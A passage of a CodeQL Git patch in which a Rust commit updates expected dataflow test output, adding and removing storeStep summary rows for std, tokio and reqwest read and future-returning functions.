DataFlow::StateCon TConverted(UnescapedType unescapedType) /** - * Flow state for tracking whether a conversion to an unescaped type has occurred. + * The flow state for tracking whether a conversion to an unescaped type has + * occurred. */ class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } From 3789c46791d3e1db484ca2fb5a2b6f38d42630ba Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 1 May 2025 15:40:32 +0100 Subject: [PATCH 063/535] Rust: Remove stray comment, accept changes to another test. --- .../dataflow/local/DataFlowStep.expected | 94 ++++++++++++++++++- .../library-tests/dataflow/sources/test.rs | 2 +- 2 files changed, 90 insertions(+), 6 deletions(-) diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index d9f17dbf4c4d..a28d5f7c20cc 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -892,11 +892,24 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_exact | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_string | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_exact | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_end | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::::read_to_string | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::BufRead::read_line | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::BufRead::read_line | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_exact | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_to_end | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:std::_::crate::io::Read::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in lang:std::_::crate::io::Read::read_to_string | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::peek | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::peek | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_read | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_read_buf | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_read_buf | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_line | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_line | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_buf | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_buf | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_exact | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_exact | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_to_end | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_to_end | +| file://:0:0:0:0 | [summary] to write: Argument[0].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_to_string | &ref | file://:0:0:0:0 | [post] [summary param] 0 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_to_string | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::<&[u8] as crate::bridge::rpc::DecodeMut>::decode | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | | file://:0:0:0:0 | [summary] to write: Argument[0].Reference.Reference in lang:proc_macro::_::::decode | &ref | file://:0:0:0:0 | [summary] to write: Argument[0].Reference in lang:proc_macro::_::::decode | @@ -913,6 +926,7 @@ storeStep | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0].Reference in lang:std::_::::wait_while | &ref | file://:0:0:0:0 | [summary] to write: Argument[1].Parameter[0] in lang:std::_::::wait_while | | file://:0:0:0:0 | [summary] to write: Argument[1].Reference in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | &ref | file://:0:0:0:0 | [post] [summary param] 1 in lang:core::_::<_ as crate::clone::uninit::CopySpec>::clone_one | | file://:0:0:0:0 | [summary] to write: Argument[1].Reference in lang:std::_::crate::io::BufRead::read_until | &ref | file://:0:0:0:0 | [post] [summary param] 1 in lang:std::_::crate::io::BufRead::read_until | +| file://:0:0:0:0 | [summary] to write: Argument[1].Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_until | &ref | file://:0:0:0:0 | [post] [summary param] 1 in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::read_until | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::max_by_key | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::max_by_key | | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0].Reference in lang:core::_::crate::cmp::min_by | &ref | file://:0:0:0:0 | [summary] to write: Argument[2].Parameter[0] in lang:core::_::crate::cmp::min_by | @@ -1051,6 +1065,7 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::next | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::crate::iter::traits::iterator::Iterator::nth | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::crate::iter::traits::iterator::Iterator::nth | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:proc_macro::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:proc_macro::_::::next | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::next | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::next | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::<{486}::StaticStrPayload as crate::panic::PanicPayload>::as_str | Some | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<{486}::StaticStrPayload as crate::panic::PanicPayload>::as_str | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::map | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::map | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[0] in lang:core::_::::zip | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::zip | @@ -1060,6 +1075,7 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[1] in lang:core::_::::matching | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::matching | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Err(0)] in lang:core::_::::transpose | Err | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)] in lang:core::_::::transpose | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::result::Result::Ok(0)] in lang:std::_::::next | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:std::_::::next | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::from | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::from | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::option::Option::Some(0)] in lang:core::_::::as_ref | @@ -1143,6 +1159,7 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::parse | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::fill_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::fill_buf | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::try_clone | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_clone | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::canonicalize | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::canonicalize | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait_timeout | @@ -1154,10 +1171,6 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/servo/rust-url:url::_::::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/servo/rust-url:url::_::::parse | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:alloc::_::::search_tree_for_bifurcation | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::search_tree_for_bifurcation | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:core::_::::extend | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::extend | @@ -1166,10 +1179,81 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:std::_::::wait_timeout_ms | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout_ms | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:std::_::::wait_timeout_while | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout_while | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::transpose | -| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Reference in lang:core::_::::try_insert | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::try_insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text_with_charset | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_line | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::next_segment | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::fill_buf | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_buf_read_ext::AsyncBufReadExt::fill_buf | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f32_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_f64_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i8_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i16_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i32_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i64_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i128 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i128 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i128_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_i128_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u8 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u8 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u8_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u8_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u16 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u16 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u16_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u16_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u32 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u32 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u32_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u32_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u64 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u64 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u64_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u64_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u128 | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u128 | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u128_le | future | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::async_read_ext::AsyncReadExt::read_u128_le | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Future.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue.Future in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::text | +| file://:0:0:0:0 | [summary] to write: 